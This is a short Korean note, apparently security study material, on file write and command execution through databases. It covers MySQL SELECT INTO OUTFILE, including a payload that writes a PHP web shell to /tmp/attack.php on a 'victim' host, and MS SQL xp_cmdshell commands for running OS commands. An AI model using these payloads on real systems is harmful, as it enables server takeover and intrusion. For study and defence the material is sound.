MySQL은 mysql이라는 user의 권한으로 파일 관련된 작업을 수행한다. my.cnf 파일 안의 설정 값 secure_file_priv의 설정에 따라 load_file, into outfile을 실행할 수 있다. 파일에 대한 관련 작업을 할 때는 디렉터리 / 파일의 권한을 가지고 있어야 한다.
SELECT ... INTO variable # column 값을 변수에 저장
SELECT ... INTO OUTFILE 'filename' # 쿼리 결과를 파일에 저장(rows)
SELECT ... INTO DUMPFILE 'filename' # 쿼리 결과를 파일에 저장(single)
# 명령어 저장
select '<? system(`ls`)?>' into outfile '/tmp/attack.php';
# http://victim.com/tmp/attack.php
MS SQL
xp_cmdshell
OS명령어를 사용할 수 있는 함수. SQL Server 2005부터는 default로 비활성화되어있어서 기능을 활성화하지 않는 이상 실행 불가능
# 설정 값 조회
SELECT * FROM sys.configurations WHERE name = 'xp_cmdshell'
# 명령어 실행
EXEC xp_cmdshell "id";
EXEC master.dbo.xp_cmdshell 'pwd';